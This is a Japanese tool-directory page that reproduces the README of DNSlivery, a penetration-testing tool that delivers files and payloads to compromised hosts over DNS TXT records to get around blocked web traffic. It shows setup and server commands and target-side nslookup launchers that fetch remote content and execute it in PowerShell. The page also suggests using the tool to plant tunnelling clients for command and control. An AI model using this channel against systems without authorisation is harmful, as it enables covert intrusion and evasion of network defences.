Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
DNSlivery — DNSを介した簡単なファイルおよびペイロードの配信 | Kitploit
ツール/GitHubGitHub/samybaiwir/dnslivery
データ流出ペネトレーションテストコマンド&コントロールレッドチーミングDNS分析
GitHubsamybaiwir/dnslivery

DNSlivery

DNSを介した簡単なファイルおよびペイロードの配信

リポジトリを見る
4267798ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

python-3.7 Known Vulnerabilities

DNSlivery

DNSを介した簡単なファイル・ペイロード配信ツール。

  • DNSlivery
  • 謝辞
  • 説明
    • 要約
    • どのような問題を解決しようとしているのか?
    • 仕組み
    • 要件
  • セットアップ
    • DNSゾーン
    • DNSlivery
  • 使用方法
    • サーバー
    • ターゲット

謝辞

このプロジェクトは、元々PowerDNSと、Paul's Security Weeklyポッドキャスト#590(youtu.be/CP6cIwFJswQ)におけるJoff Thyer氏の技術セグメントに触発されたものです。

説明

要約

DNSliveryは、DNSを転送プロトコルとして使用し、ターゲットにファイルを配信することができます。

特徴:

  • ファイルをターゲット上で表示、実行、または保存することが可能
  • ターゲット上にクライアントを必要としない
  • 本格的なDNSサーバーを必要としない

demo-target.git

どのような問題を解決しようとしているのか?

従来のWeb配信が不可能な侵害済みターゲットに対して、専用のクライアントソフトウェアを必要とせずにファイルやペイロードを簡単に配信します。これは、送信Webトラフィックが禁止されている、または好奇心旺盛なWebプロキシによって検査されている制限された環境に適用されます。

web-delivery-blocked.png

より完全なDNSトンネリングツール(dnscat2やiodineなど)は既に存在しますが、それらはすべてターゲット上で専用クライアントを実行する必要があります。問題は、そのような制限された環境では、クライアントを配信する方法がDNS以外にない可能性が高いことです。言い換えれば、これらのツールでDNS通信チャネルを構築するには、既にDNS通信チャネルを持っている必要があるのです。

これに対してDNSliveryは、サーバーからターゲットへの一方向通信のみを提供しますが、そのために専用クライアントを必要としません。したがって、DNSを介して信頼性の高い双方向通信チャネルを構築する必要がある場合は、DNSliveryを使用して、より高度なDNSトンネリングツールのクライアントをターゲットに配信してください。

仕組み

ほとんどのDNSトンネリングツールと同様に、DNSliveryはTXTレコードを使用して、ファイルの内容をbase64表現で保存します。ただし、動作に本格的なDNSサーバーのセットアップは必要ありません。代わりに、scapyライブラリを使用して、受信したDNSパケットをリッスンし、目的の応答を作成します。

network-process.png

ほとんどのファイルは単一のTXTレコードに収まらないため、DNSliveryはファイルのbase64チャンクを含む複数の順序付けられたレコードを作成します。例として、上記の図はfileという名前のファイルの42番目のチャンクの配信を示しています。

ターゲット上で専用クライアントを必要とせずにすべてのbase64チャンクを取得して再結合するために、DNSliveryはファイルごとに以下を生成します:

  • シンプルな平文ランチャー
  • 信頼性の高いbase64エンコードされたステージャー

two-stages-delivery.png

この2段階配信プロセスは、単一のTXTレコードに収まらないステージャーに機能(紛失したDNS応答の処理など)を追加するために必要です。

ターゲット互換性に関する注意

現在、PowerShellターゲットのみがサポートされています。ただし、DNSliveryはbashやpythonなどの追加ターゲットをサポートするように改善できる可能性があります。この機能の実装をご希望の場合は、@no0beまでお知らせください。

要件

DNSliveryは複雑なサーバーインフラストラクチャの構築を必要としません。実際、単純な要件が2つだけあります:

  • パブリックDNSゾーンにNSレコードを作成できること
  • インターネットからのudp/53トラフィックを受信できるLinuxサーバーがあること

セットアップ

DNSゾーン

最初のステップは、ドメインに新しいNSレコードを作成して、DNSliveryを実行するサーバーにサブドメインを委任することです。例として、サブドメインdnsd.no0.beをサーバーvps.no0.beに委任するために、次のレコードを作成しました。

root@kitploit:~
dnsd    IN  NS vps.no0.be.

ゾーンがサードパーティプロバイダーによって管理されている場合は、そのドキュメントを参照してNSレコードを作成してください。

DNSlivery

DNSliveryを実行するための唯一の要件は、python3とそのscapyライブラリです。

root@kitploit:~
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt

使用方法

サーバー

DNSliveryは、指定されたディレクトリ(デフォルトではpwd)のすべてのファイルを提供し、受信するudp/53パケットをリッスンするためにroot権限で実行する必要があります。

root@kitploit:~
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver

DNSlivery - Easy files and payloads delivery over DNS

positional arguments:
  interface             interface to listen to DNS traffic
  domain                FQDN name of the DNS zone
  nameserver            FQDN name of the server running DNSlivery

optional arguments:
  -h, --help            show this help message and exit
  -p PATH, --path PATH  path of directory to serve over DNS (default: pwd)
  -s SIZE, --size SIZE  size in bytes of base64 chunks (default: 255)
  -v, --verbose         increase verbosity

例:

root@kitploit:~
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery

DNSlivery - Easy files and payloads delivery over DNS

[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
[*] Listening for DNS queries...

ファイル名の正規化に関する注意

ドメイン名に許可される文字セットはUNIXファイル名よりもはるかに制限されているため(RFC1035による)、DNSliveryは必要に応じて正規化を実行します。

例:

root@kitploit:~
[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)

現在の正規化コードは、重複するファイル名やサイズ制限を考慮していないため、完全ではないことに注意してください。

ターゲット

ターゲット上では、まず目的のファイルの専用TXTレコードを要求してランチャーを取得します。次の3つのランチャーがサポートされています:

アクション
root@kitploit:~
nslookup -type=txt [filename].[stager].[domain]

次に、DNS応答で引用されたランチャーをPowerShellコンソールにコピー&ペーストするだけで、ターゲット上でファイルを取得できます。

例:

demo-target.git

ツールをダウンロード
ランチャー
説明
表示[filename].print.[domain](デフォルト) 配信されたファイルをコンソールに表示
実行[filename].exec.[domain]配信されたファイルを実行(スクリプトに便利)
保存[filename].save.[domain]配信されたファイルをディスクに保存(バイナリに便利)